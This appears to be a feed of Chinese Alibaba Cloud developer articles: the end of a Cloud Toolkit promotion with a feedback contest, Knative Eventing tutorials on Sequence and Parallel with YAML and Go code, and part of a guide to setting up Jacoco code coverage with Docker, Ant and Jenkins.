        针对阿里云 小程序云 开发者,可以使用 Cloud Toolkit 来部署小程序应用,适用于小程序的首次部署、快速迭代、版本回滚等场景。(小程序云应用是面向小程序的应用场景,为开发者提供的一键构建后端应用运行环境、后端服务部署、运维监控等能力的一站式小程序部署服务)

        • 部署到 企业级分布式应用服务 (EDAS)

        针对阿里云 EDAS 开发者, 可以将本地代码和云端应用进行关联,实现自动化的部署。

        • 部署到 Serverless 应用引擎(SAE)

        针对阿里云 SAE 开发者,可以将应用快速部署到 SAE,适用于快速迭代更新应用的场景。

        • 内置数据库 SQL Console

        在 IDE 内,开发者可以浏览阿里云的 RDS 资源;同时,在配置好用户名密码之后,即可通过内置的 SQL Console 连接上 RDS 实例,并快速执行 SQL 语句。

        • 文件上传

        Cloud Toolkit 帮助开发者在 IDE 内,一键将本地或者远程 URL 文件上传到服务器指定目录下去,无需在各种 FTP、SCP 工具之间频繁切换;更为重要的是,文件上传完毕后,还支持命令执行,比如:文件解压缩、程序启动等。

        • 快速创建 Dubbo 工程

        使用 Cloud Toolkit 可以快速创建 Dubbo 工程,在完成 Apache Dubbo 样例工程的创建和调用验证后,可以将该工程打包(JAR 包)并部署到 EDAS 的不同集群(主要为 ECS 集群和容器服务 Kubernetes 集群)中。

        程序猿吐槽大会——悬赏活动

        一、我们为什么邀请你来吐槽

        我们 Cloud Toolkit 团队秉承一贯的 “用户第一” 原则,希望能在一线倾听我们用户的真实声音、寻找你们的真实需求和建议,而后,我们才能在满足用户需求的基础上,为大家研发出更贴心、更高效的插件,一款真正属于广大开发者的插件。所以,我们满怀诚意,邀请您,请您说出心中对于插件的真实感受,或是吐槽,或是表扬。

        二、怎么参与活动

        活动时间:12月24日(本周二)——12月30日(下周一)

        请点击文末 “阅读原文” 下载插件进行体验(一键部署,不信?你更要来试试),并在文末留言区写下你的吐槽 / 表扬 / 挑战(任选其一),让文章其他阅读者进行 “点赞 ”投票,或者将文章分享给同事 / 朋友进行 “点赞” 拉票。

        所有人均可参与投票。

        【吐槽】简单描述Cloud Toolkit使用槽点;
        【表扬】简单描述Cloud Toolkit的闪光点;
        【挑战】请输入你认为能够提升Cloud Toolkit部署效率的方法;

        注意:若出现相同评论,只保留第一个人的评论,第二个人的评论无效;任何言论都要遵循真实的原则,获奖后需要提供使用插件的证明截图。

        三、我能获得什么

        我们 Cloud Toolkit 官方团队将接收到您的所有真心建议、真实需求,然后有针对性地研发新的功能、提升您的体验。您将获得插件 “定制化” 功能,同时,您还能获得以下奖品:

        【一等奖】投票数最高的发言者,获得 Cherry机械键盘1个;

        【二等奖】投票数第二高的发言者,获得 天猫精灵1个;

        【三等奖】投票数第三高的发言者,获得 双肩包1个;

        【四、五等奖】投票数第四、五高的发言者,获得 阿里云日历各1个;

        【鼓励奖】投票数前十的发言者,均可获得指尖陀螺 / 淘公仔,任选其一(前五除外);

        【参与奖】扫描下方二维码进群,艾特客服@郭伟成,即可领奖;

        钉钉扫码加群,领奖

        微信扫码,产品经理拉你进群,领奖]]>
        Sequeue 解析 Fri, 02 May 2025 09:39:04 +0800 本文选自《Knative 云原生应用开发指南》
        knative海报.png
        更多云原生技术资讯可关注阿里巴巴云原生技术圈

        Sequence 定义

        首先我们看一下 Sequence Spec 定义:

        apiVersion: messaging.knative.dev/v1alpha1
        kind: Sequence
        metadata:
          name: test
        spec:
          channelTemplate:
            apiVersion: messaging.knative.dev/v1alpha1
            kind: InMemoryChannel
          steps:
            - ref:
                apiVersion: serving.knative.dev/v1alpha1
                kind: Service
                name: test
          reply:
            kind: Broker
            apiVersion: eventing.knative.dev/v1alpha1
            name: test

        Sequence Spec包括3个部分:

        1. steps: 在 step 中定义了按照顺序执行的服务,每个服务会对应创建 Subscription
        2. channelTemplate:指定了使用具体的那个 Channel
        3. reply:(可选)定义了将最后一个 step 服务结果转发到的目标服务

        Sequence 都是适合哪些具体应用场景呢?我们上面也提到了事件处理的 Pipeline。那么在实际场景应用中究竟以什么样的形式体现呢? 现在我们揭晓一下 Sequence 在 Knative Eventing 中提供的如下 4 种使用场景:

        • 直接访问 Service
        • 面向事件处理
        • 级联 Sequence
        • 面向 Broker/Trigger

        直接访问 Service 场景

        事件源产生的事件直接发送给 Sequence 服务, Sequence 接收到事件之后顺序调用 Service 服务对事件进行处理:
        20.png

        创建 Knative Service

        这里我们创建 3 个 Knative Service 用于事件处理。每个 Service 接收到事件之后会打印当前的事件处理信息。

        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: first
        spec:
          template:
            spec:
              containers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/probable-summer:2656f39a7fcb6afd9fc79e7a4e215d14d651dc674f38020d1d18c6f04b220700
                  env:
                    - name: STEP
                      value: "0"
        
        ---
        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: second
        spec:
          template:
            spec:
              containers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/probable-summer:2656f39a7fcb6afd9fc79e7a4e215d14d651dc674f38020d1d18c6f04b220700
                  env:
                    - name: STEP
                      value: "1"
        ---
        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: third
        spec:
          template:
            spec:
              containers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/probable-summer:2656f39a7fcb6afd9fc79e7a4e215d14d651dc674f38020d1d18c6f04b220700
                  env:
                    - name: STEP
                      value: "2"
        ---

        创建 Sequence

        创建顺序调用 first->second->third Service 的 Sequence。

        apiVersion: messaging.knative.dev/v1alpha1
        kind: Sequence
        metadata:
          name: sequence
        spec:
          channelTemplate:
            apiVersion: messaging.knative.dev/v1alpha1
            kind: InMemoryChannel
          steps:
            - ref:
                apiVersion: serving.knative.dev/v1alpha1
                kind: Service
                name: first
            - ref:
                apiVersion: serving.knative.dev/v1alpha1
                kind: Service
                name: second
            - ref:
                apiVersion: serving.knative.dev/v1alpha1
                kind: Service
                name: third

        创建数据源

        创建 CronJobSource 数据源,每隔 1 分钟发送一条事件消息{"message": "Hello world!"}到 Sequence 服务。

        apiVersion: sources.eventing.knative.dev/v1alpha1
        kind: CronJobSource
        metadata:
          name: cronjob-source
        spec:
          schedule: "*/1 * * * *"
          data: '{"message": "Hello world!"}'
          sink:
            apiVersion: messaging.knative.dev/v1alpha1
            kind: Sequence
            name: sequence

        示例结果

        21.png22.png
        23.png
        24.png

        面向事件处理场景

        事件源产生的事件直接发送给 Sequence 服务, Sequence 接收到事件之后顺序调用 Service 服务对事件进行处理,处理之后的最终结果会调用event-display Service 显示:
        25.png

        创建 Knative Service

        同上创建 3 个 Knative Service 用于事件处理:

        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: first
        spec:
          template:
            spec:
              containers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/probable-summer:2656f39a7fcb6afd9fc79e7a4e215d14d651dc674f38020d1d18c6f04b220700
                  env:
                    - name: STEP
                      value: "0"
        
        ---
        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: second
        spec:
          template:
            spec:
              containers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/probable-summer:2656f39a7fcb6afd9fc79e7a4e215d14d651dc674f38020d1d18c6f04b220700
                  env:
                    - name: STEP
                      value: "1"
        ---
        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: third
        spec:
          template:
            spec:
              containers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/probable-summer:2656f39a7fcb6afd9fc79e7a4e215d14d651dc674f38020d1d18c6f04b220700
                  env:
                    - name: STEP
                      value: "2"
        ---

        创建 Sequence

        创建顺序调用 first->second->third Service 的 Sequence,将处理结果通过reply发送给event-display

        apiVersion: messaging.knative.dev/v1alpha1
        kind: Sequence
        metadata:
          name: sequence
        spec:
          channelTemplate:
            apiVersion: messaging.knative.dev/v1alpha1
            kind: InMemoryChannel
          steps:
            - ref:
                apiVersion: serving.knative.dev/v1alpha1
                kind: Service
                name: first
            - ref:
                apiVersion: serving.knative.dev/v1alpha1
                kind: Service
                name: second
            - ref:
                apiVersion: serving.knative.dev/v1alpha1
                kind: Service
                name: third
          reply:
            kind: Service
            apiVersion: serving.knative.dev/v1alpha1
            name: event-display

        创建结果显示 Service

        创建event-display Service, 用于接收最终的结果信息。

        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: event-display
        spec:
          template:
            spec:
              containers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-release/event_display:bf45b3eb1e7fc4cb63d6a5a6416cf696295484a7662e0cf9ccdf5c080542c21d

        创建数据源

        创建 CronJobSource 数据源,每隔 1 分钟发送一条事件消息{"message": "Hello world!"}到 Sequence 服务。

        apiVersion: sources.eventing.knative.dev/v1alpha1
        kind: CronJobSource
        metadata:
          name: cronjob-source
        spec:
          schedule: "*/1 * * * *"
          data: '{"message": "Hello world!"}'
          sink:
            apiVersion: messaging.knative.dev/v1alpha1
            kind: Sequence
            name: sequence

        示例结果

        26.png
        27.png

        级联 Sequence 场景

        Sequence 更高级的地方还在于支持级联处理: Sequence By Sequence,这样可以进行多次 Sequence 处理,满足复杂事件处理场景需求:
        28.png

        创建 Knative Service

        创建 6 个 Knative Service 用于事件处理, 前 3 个用于第 1 个 Sequence,后 3 个用于第 2 个 Sequence。

        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: first
        spec:
          template:
            spec:
              containers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/probable-summer:2656f39a7fcb6afd9fc79e7a4e215d14d651dc674f38020d1d18c6f04b220700
                  env:
                    - name: STEP
                      value: "0"
        
        ---
        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: second
        spec:
          template:
            spec:
              containers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/probable-summer:2656f39a7fcb6afd9fc79e7a4e215d14d651dc674f38020d1d18c6f04b220700
                  env:
                    - name: STEP
                      value: "1"
        ---
        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: third
        spec:
          template:
            spec:
              containers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/probable-summer:2656f39a7fcb6afd9fc79e7a4e215d14d651dc674f38020d1d18c6f04b220700
                  env:
                    - name: STEP
                      value: "2"
        ---
        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: fourth
        spec:
          template:
            spec:
              containers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/probable-summer:2656f39a7fcb6afd9fc79e7a4e215d14d651dc674f38020d1d18c6f04b220700
                  env:
                    - name: STEP
                      value: "3"
        
        ---
        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: fifth
        spec:
          template:
            spec:
              containers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/probable-summer:2656f39a7fcb6afd9fc79e7a4e215d14d651dc674f38020d1d18c6f04b220700
                  env:
                    - name: STEP
                      value: "4"
        ---
        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: sixth
        spec:
          template:
            spec:
              containers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/probable-summer:2656f39a7fcb6afd9fc79e7a4e215d14d651dc674f38020d1d18c6f04b220700
                  env:
                    - name: STEP
                      value: "5"
        ---

        创建第 1 个 Sequence

        使用 first->second->third Service 用于第 1 个 Sequence 调用处理,将执行结果发送给第 2 个 Sequence。

        apiVersion: messaging.knative.dev/v1alpha1
        kind: Sequence
        metadata:
          name: first-sequence
        spec:
          channelTemplate:
            apiVersion: messaging.knative.dev/v1alpha1
            kind: InMemoryChannel
          steps:
            - ref:
                apiVersion: serving.knative.dev/v1alpha1
                kind: Service
                name: first
            - ref:
                apiVersion: serving.knative.dev/v1alpha1
                kind: Service
                name: second
            - ref:
                apiVersion: serving.knative.dev/v1alpha1
                kind: Service
                name: third
          reply:
            kind: Sequence
            apiVersion: messaging.knative.dev/v1alpha1
            name: second-sequence

        创建第 2 个 Sequence

        使用 fourth->fifth->sixth Service 用于第 2 个 Sequence 调用处理,将执行结果发送给 event-display

        apiVersion: messaging.knative.dev/v1alpha1
        kind: Sequence
        metadata:
          name: second-sequence
        spec:
          channelTemplate:
            apiVersion: messaging.knative.dev/v1alpha1
            kind: InMemoryChannel
          steps:
            - ref:
                apiVersion: serving.knative.dev/v1alpha1
                kind: Service
                name: fourth
            - ref:
                apiVersion: serving.knative.dev/v1alpha1
                kind: Service
                name: fifth
            - ref:
                apiVersion: serving.knative.dev/v1alpha1
                kind: Service
                name: sixth
          reply:
            kind: Service
            apiVersion: serving.knative.dev/v1alpha1
            name: event-display

        创建结果显示 Service

        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: event-display
        spec:
          template:
            spec:
              containerers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-release/event_display:bf45b3eb1e7fc4cb63d6a5a6416cf696295484a7662e0cf9ccdf5c080542c21d

        创建数据源指向第 1 个 Sequence

        apiVersion: sources.eventing.knative.dev/v1alpha1
        kind: CronJobSource
        metadata:
          name: cronjob-source
        spec:
          schedule: "*/1 * * * *"
          data: '{"message": "Hello world!"}'
          sink:
            apiVersion: messaging.knative.dev/v1alpha1
            kind: Sequence
            name: first-sequence

        示例结果

        29.png
        30.png

        Broker/Trigger 场景

        事件源 cronjobsource 向 Broker 发送事件,通过Trigger 将这些事件发送到由 3 个 Service 调用的 Sequence 中。Sequence 处理完之后将结果事件发送给 Broker,并最终由另一个Trigger发送给 event-display Service 显示事件结果:
        31.png

        创建 Knative Service

        同上创建 3 个 Knative Service,用于 Sequence 中服务处理。

        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: first
        spec:
          template:
            spec:
              containers:
              - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/probable-summer:2656f39a7fcb6afd9fc79e7a4e215d14d651dc674f38020d1d18c6f04b220700
                env:
                - name: STEP
                  value: "0"
        
        ---
        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: second
        spec:
          template:
            spec:
              containers:
              - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/probable-summer:2656f39a7fcb6afd9fc79e7a4e215d14d651dc674f38020d1d18c6f04b220700
                env:
                - name: STEP
                  value: "1"
        ---
        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: third
        spec:
          template:
            spec:
              containers:
              - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/probable-summer:2656f39a7fcb6afd9fc79e7a4e215d14d651dc674f38020d1d18c6f04b220700
                env:
                - name: STEP
                  value: "2"
        
        ---

        创建 Sequence

        创建 Sequence,这里依次顺序执行first->second->third这3个服务。将最终处理的结果发送到broker-test中。

        apiVersion: messaging.knative.dev/v1alpha1
        kind: Sequence
        metadata:
          name: sequence
        spec:
          channelTemplate:
            apiVersion: messaging.knative.dev/v1alpha1
            kind: InMemoryChannel
          steps:
            - ref:
                apiVersion: serving.knative.dev/v1alpha1
                kind: Service
                name: first
            - ref:
                apiVersion: serving.knative.dev/v1alpha1
                kind: Service
                name: second
            - ref:
                apiVersion: serving.knative.dev/v1alpha1
                kind: Service
                name: third
          reply:
            kind: Broker
            apiVersion: eventing.knative.dev/v1alpha1
            name: default

        创建事件源指向 Broker

        创建 CronjobSource,它将每隔 1 分钟发送一条{"message": "Hello world!"}消息到 broker-test 中。

        apiVersion: sources.eventing.knative.dev/v1alpha1
        kind: CronJobSource
        metadata:
          name: cronjob-source
        spec:
          schedule: "*/1 * * * *"
          data: '{"message": "Hello world!"}'
          sink:
            apiVersion: eventing.knative.dev/v1alpha1
            kind: Broker
            name: default

        创建 Broker

        创建默认 Broker

        kubectl label namespace default knative-eventing-injection=enabled

        创建 Trigger  指向 Sequence

        创建订阅事件类型为dev.knative.cronjob.event的 Trigger, 用于 Sequence 进行消费处理。

        apiVersion: eventing.knative.dev/v1alpha1
        kind: Trigger
        metadata:
          name: sequence-trigger
        spec:
          filter:
            sourceAndType:
              type: dev.knative.cronjob.event
          subscriber:
            ref:
              apiVersion: messaging.knative.dev/v1alpha1
              kind: Sequence
              name: sequence

        创建结果订阅 Trigger

        创建订阅 samples.http.mod3 的事件类型 Trigger,将 Sequence 执行的结果发送给event-display Service 进行显示。

        apiVersion: eventing.knative.dev/v1alpha1
        kind: Trigger
        metadata:
          name: display-trigger
        spec:
          filter:
            sourceAndType:
              type: samples.http.mod3
          subscriber:
            ref:
              apiVersion: serving.knative.dev/v1alpha1
              kind: Service
              name: event-display
        ---
        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: event-display
        spec:
          template:
            spec:
              containers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-release/event_display:bf45b3eb1e7fc4cb63d6a5a6416cf696295484a7662e0cf9ccdf5c080542c21d
        ---

        示例结果

        32.png
        33.png

        总结

        以上介绍了什么是 Sequence, 以及基于 Sequence 的 4 种使用场景,我们可以根据实际需求选择不同的使用场景,从而实现事件处理 Pipeline。这对于需要多步骤处理事件的场景尤为适合。

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        Parallel 解析 Fri, 02 May 2025 09:39:04 +0800 本文选自《Knative 云原生应用开发指南》
        knative海报.png
        更多云原生技术资讯可关注阿里巴巴云原生技术圈

        资源定义

        我们先看一下 Parallel 资源定义,典型的 Parallel Spec描述如下:

        apiVersion: messaging.knative.dev/v1alpha1
        kind: Parallel
        metadata:
          name: me-odd-even-parallel
        spec:
          channelTemplate:
            apiVersion: messaging.knative.dev/v1alpha1
            kind: InMemoryChannel
          cases:
            - filter:
                uri: "http://me-even-odd-switcher.default.svc.cluster.local/0"
              subscriber:
                ref:
                  apiVersion: serving.knative.dev/v1alpha1
                  kind: Service
                  name: me-even-transformer
            - filter:
                uri: "http://me-even-odd-switcher.default.svc.cluster.local/1"
              subscriber:
                ref:
                  apiVersion: serving.knative.dev/v1alpha1
                  kind: Service
                  name: me-odd-transformer
          reply:
            apiVersion: serving.knative.dev/v1alpha1
            kind: Service
            name: me-event-display

        主要包括如下 3 部分:

        • cases 定义了一系列 filter 和 subscriber。对于每个条件分支:

          • 首先判断 filter, 当返回事件时,调用 subscriber。filter和subscriber要求都是可访问的。
          • subscriber 执行返回的事件会发生到 reply。如果 reply 为空,则发送到 spec.reply
        • channelTemplate 定义了当前 Parallel 中使用的Channel类型
        • reply 定义了全局响应的目标函数。

        逻辑架构如图所示:
        35.png

        代码实现

        关键代码实现如下:

        1. 首先为 Parallel 创建一个全局的 Channel。然后为每一个case创建一个过滤 Channel
        2. 在每个case中做了如下处理:

          • 为全局的 Channel创建一个 Subscription,订阅条件为filter信息,并且把 reply 响应发送给当前 case中的过滤 Channel
          • 为过滤 Channel 创建一个 Subscription,将订阅信息发送给每个case中的 Reply。如果当前case中没有设置Reply,则发送的全局Reply
        func (r *Reconciler) reconcile(ctx context.Context, p *v1alpha1.Parallel) error {
            p.Status.InitializeConditions()
        
            // Reconciling parallel is pretty straightforward, it does the following things:
            // 1. Create a channel fronting the whole parallel and one filter channel per branch.
            // 2. For each of the Branches:
            //     2.1 create a Subscription to the fronting Channel, subscribe the filter and send reply to the filter Channel
            //     2.2 create a Subscription to the filter Channel, subcribe the subscriber and send reply to
            //         either the branch Reply. If not present, send reply to the global Reply. If not present, do not send reply.
            // 3. Rinse and repeat step #2 above for each branch in the list
            if p.DeletionTimestamp != nil {
                // Everything is cleaned up by the garbage collector.
                return nil
            }
        
            channelResourceInterface := r.DynamicClientSet.Resource(duckroot.KindToResource(p.Spec.ChannelTemplate.GetObjectKind().GroupVersionKind())).Namespace(p.Namespace)
        
            if channelResourceInterface == nil {
                msg := fmt.Sprintf("Unable to create dynamic client for: %+v", p.Spec.ChannelTemplate)
                logging.FromContext(ctx).Error(msg)
                return errors.New(msg)
            }
        
            // Tell tracker to reconcile this Parallel whenever my channels change.
            track := r.resourceTracker.TrackInNamespace(p)
        
            var ingressChannel *duckv1alpha1.Channelable
            channels := make([]*duckv1alpha1.Channelable, 0, len(p.Spec.Branches))
            for i := -1; i < len(p.Spec.Branches); i++ {
                var channelName string
                if i == -1 {
                    channelName = resources.ParallelChannelName(p.Name)
                } else {
                    channelName = resources.ParallelBranchChannelName(p.Name, i)
                }
        
                c, err := r.reconcileChannel(ctx, channelName, channelResourceInterface, p)
                if err != nil {
                    logging.FromContext(ctx).Error(fmt.Sprintf("Failed to reconcile Channel Object: %s/%s", p.Namespace, channelName), zap.Error(err))
                    return err
        
                }
                // Convert to Channel duck so that we can treat all Channels the same.
                channelable := &duckv1alpha1.Channelable{}
                err = duckapis.FromUnstructured(c, channelable)
                if err != nil {
                    logging.FromContext(ctx).Error(fmt.Sprintf("Failed to convert to Channelable Object: %s/%s", p.Namespace, channelName), zap.Error(err))
                    return err
        
                }
                // Track channels and enqueue parallel when they change.
                if err = track(utils.ObjectRef(channelable, channelable.GroupVersionKind())); err != nil {
                    logging.FromContext(ctx).Error("Unable to track changes to Channel", zap.Error(err))
                    return err
                }
                logging.FromContext(ctx).Info(fmt.Sprintf("Reconciled Channel Object: %s/%s %+v", p.Namespace, channelName, c))
        
                if i == -1 {
                    ingressChannel = channelable
                } else {
                    channels = append(channels, channelable)
                }
            }
            p.Status.PropagateChannelStatuses(ingressChannel, channels)
        
            filterSubs := make([]*v1alpha1.Subscription, 0, len(p.Spec.Branches))
            subs := make([]*v1alpha1.Subscription, 0, len(p.Spec.Branches))
            for i := 0; i < len(p.Spec.Branches); i++ {
                filterSub, sub, err := r.reconcileBranch(ctx, i, p)
                if err != nil {
                    return fmt.Errorf("Failed to reconcile Subscription Objects for branch: %d : %s", i, err)
                }
                subs = append(subs, sub)
                filterSubs = append(filterSubs, filterSub)
                logging.FromContext(ctx).Debug(fmt.Sprintf("Reconciled Subscription Objects for branch: %d: %+v, %+v", i, filterSub, sub))
            }
            p.Status.PropagateSubscriptionStatuses(filterSubs, subs)
        
            return nil
        }

        示例演示

        接下来让我们通过一个实例具体了解一下 Parallel 。通过CronJobSource产生事件发送给 me-odd-even-parallel Parallel,  Parallel 会将事件发送给每个case, Case中通过 filter 不同的参数访问me-even-odd-switcher服务,  me-even-odd-switcher服务会根据当前事件的创建时间随机计算0或1的值,如果计算值和请求参数值相匹配,则返回事件,否则不返回事件。

        • http://me-even-odd-switcher.default.svc.cluster.local/0匹配成功,返回事件到me-even-transformer服务进行处理
        • http://me-even-odd-switcher.default.svc.cluster.local/1匹配成功,返回事件到odd-transformer服务进行处理

        不管哪个case处理完之后,将最终的事件发送给me-event-display服务进行事件显示。
        具体操作步骤如下:

        创建 Knative Service

        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: me-even-odd-switcher
        spec:
          template:
            spec:
              containers:
              - image: villardl/switcher-nodejs:0.1
                env:
                - name: EXPRESSION
                  value: Math.round(Date.parse(event.time) / 60000) % 2
                - name: CASES
                  value: '[0, 1]'
        ---
        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: even-transformer
        spec:
          template:
            spec:
              containers:
              - image: villardl/transformer-nodejs:0.1
                env:
                - name: TRANSFORMER
                  value: |
                    ({"message": "we are even!"})
        
        ---
        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: odd-transformer
        spec:
          template:
            spec:
              containers:
              - image: villardl/transformer-nodejs:0.1
                env:
                - name: TRANSFORMER
                  value: |
                    ({"message": "this is odd!"})
        .

        创建 Parallel

        apiVersion: messaging.knative.dev/v1alpha1
        kind: Parallel
        metadata:
          name: me-odd-even-parallel
        spec:
          channelTemplate:
            apiVersion: messaging.knative.dev/v1alpha1
            kind: InMemoryChannel
          cases:
            - filter:
                uri: "http://me-even-odd-switcher.default.svc.cluster.local/0"
              subscriber:
                ref:
                  apiVersion: serving.knative.dev/v1alpha1
                  kind: Service
                  name: me-even-transformer
            - filter:
                uri: "http://me-even-odd-switcher.default.svc.cluster.local/1"
              subscriber:
                ref:
                  apiVersion: serving.knative.dev/v1alpha1
                  kind: Service
                  name: me-odd-transformer
          reply:
            apiVersion: serving.knative.dev/v1alpha1
            kind: Service
            name: me-event-display

        创建 CronJobSource 数据源

        apiVersion: sources.eventing.knative.dev/v1alpha1
        kind: CronJobSource
        metadata:
          name: me-cronjob-source
        spec:
          schedule: "*/1 * * * *"
          data: '{"message": "Even or odd?"}'
          sink:
            apiVersion: messaging.knative.dev/v1alpha1
            kind: Parallel
            name: me-odd-even-parallel

        查看结果

        运行之后可以看到类似如下结果:

        kubectl logs -l serving.knative.dev/service=me-event-display --tail=30 -c user-container
        
        ️  cloudevents.Event
        Validation: valid
        Context Attributes,
          specversion: 0.3
          type: dev.knative.cronjob.event
          source: /apis/v1/namespaces/default/cronjobsources/me-cronjob-source
          id: 48eea348-8cfd-4aba-9ead-cb024ce16a48
          time: 2019-07-31T20:56:00.000477587Z
          datacontenttype: application/json; charset=utf-8
        Extensions,
          knativehistory: me-odd-even-parallel-kn-parallel-kn-channel.default.svc.cluster.local, me-odd-even-parallel-kn-parallel-0-kn-channel.default.svc.cluster.local
        Data,
          {
            "message": "we are even!"
          }
        ️  cloudevents.Event
        Validation: valid
        Context Attributes,
          specversion: 0.3
          type: dev.knative.cronjob.event
          source: /apis/v1/namespaces/default/cronjobsources/me-cronjob-source
          id: 42717dcf-b194-4b36-a094-3ea20e565ad5
          time: 2019-07-31T20:57:00.000312243Z
          datacontenttype: application/json; charset=utf-8
        Extensions,
          knativehistory: me-odd-even-parallel-kn-parallel-1-kn-channel.default.svc.cluster.local, me-odd-even-parallel-kn-parallel-kn-channel.default.svc.cluster.local
        Data,
          {
            "message": "this is odd!"
          }

        结论

        通过上面的介绍,相信大家对 Parallel 如何进行事件条件处理有了更多的了解,对于并行处理事件的场景下,不妨试试 Parallel。

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        代码覆盖率工具-jacoco环境搭建分享 Fri, 02 May 2025 09:39:04 +0800 1. Jacoco+docker+ant环境搭建

        背景: Web多个服务在docker中启动,服务之间存在依赖关系,启动端口号以及依赖的镜像关系都配置在docker-compse.yml文件中。需要借助代码覆盖率工具,对后端Java代码进行覆盖率统计。

        环境搭建理想目标是,开启覆盖率统计工具后,进行API、Web GUI、手工测试和单元测试,都可以统计到覆盖率,且生成直观的报告,可随时查看代码覆盖率进度,清晰解析每行代码覆盖情况。

        调研各代码覆盖率工具后,最终选定Jacoco进行代码覆盖率统计,理由如下:

        1.Jacoco功能满足上述代码覆盖率环境的终极目标;

        2.可与jenkins集成;

        3.新版本的Jacoco也支持kotlin的代码统计;

        4.目前工具在持续更新中。

        1.1 Jacoco环境搭建血泪史

        与其他覆盖率工具相比,Jacoco环境搭建较复杂,且依赖源码。网络查询jacoco工具大多与tomcat结合在一起,并且在tomcat中启动javaagent, 因此最先选择的也是Jacoco+tomcat的方式,发现流程可通,但覆盖率始终为0,此后先后尝试了如下三种方案。

        Tomcat+jacoco Java+jacoco Docker+jacoco
        优势 服务器上新的容器,配置文件可随意改动,不影响整体Web服务功能 直接使用java启jar包和jacoco服务,不依赖任何容器 改动少,只需在docker中添加启动jacoco
        缺点 Tomcat如何启动Web相关服务需要好好研究 各种服务的依赖关系比较多,且有些服务启动依赖.so镜像 Docker不熟悉,且网络查询docker中启动新的进程需要修改docker镜像且重启,服务有宕机的风险
        现状 无法启动web服务,放弃 单一服务可启动,存在依赖的服务启动报错,放弃 寻找到一种方法,修改docker-compse.yml配置文件,重启相应服务即可。

        1.2 搭建步骤

        1.2.1 工具安装

        首先服务器需要安装jacoco+ant工具,ant用来生成覆盖率报告,ant有远程的功能,因想与jenkins集成,本文选择jacoco、ant、jenkins、docker都配置在同一台服务器上。

        工具安装具体步骤见如下链接:

        1.下载Jacoco到服务器:https://www.eclemma.org/jacoco/index.html

        2.linux上安装ant:https://www.cnblogs.com/sell/archive/2013/07/24/3210198.html

        注:若是环境中使用tomcat容器,Jacoco安装和与tomcat集成可参见:https://www.jianshu.com/p/16a8ce689d60

        1.2.2 修改docker配置

        ​ 网络查询到的docker修改大多需要修改docker镜像,此处只需要在docker配置文件docker-compse.yml中添加启动javaagent,以某一服务为例,新增点如下:

        image.png
        图-1

        将jacocoagent.jar拷贝到指定地点,且java启动Javaagent和服务,Javaagent端口号随意,没有被占用即可,其他服务修改同上,但是端口号不能相同。

        Docker中重启修改的服务:1. docker-compose stop 具体服务2. docker-compose up –d 具体服务,使用docker-compose ps查看服务状态为UP,且带有javaagent的进程,具体见图2。

        image.png
        图-2

        注意:1. 执行启动服务指令需要小心,一定要加up –d 具体服务,docker-compose up会重启所有服务,而有些服务是不可重启的,或者说启动比较复杂。

        2.重启服务时,依次各重启,不要为了省事,全部down掉,服务间存在依赖,或导致某些服务启动报错。

        1.2.3 与jenkins集成

        与Jenkins集成的详细步骤见如下链接:https://www.jianshu.com/p/e7fc806ea0e0

        Jenkins中带有jacoco分析的插件,可配置后直接生成直观的覆盖率报告,适用于统计单个项目覆盖率,但是Web存在多个服务场景,如何生成覆盖率报告,此处有两种方案:
        image.png

        1.2.4 本地生成覆盖率报告

        本文选择的是本地生成覆盖率报告的方式,需要修改配置文件,修改build.xml文件地方如下:

        image.png
        图-3

        1、指定Jaococant.jar的路径。

        2、指定覆盖率生成的.exec文件和生成统计报告的路径,路径随意,新建文件夹指定路径即可。

        3、 Ant支持远程生成报告,此处是本地生成,填写127.0.0.1,若是远程添加远程服务器的地址。

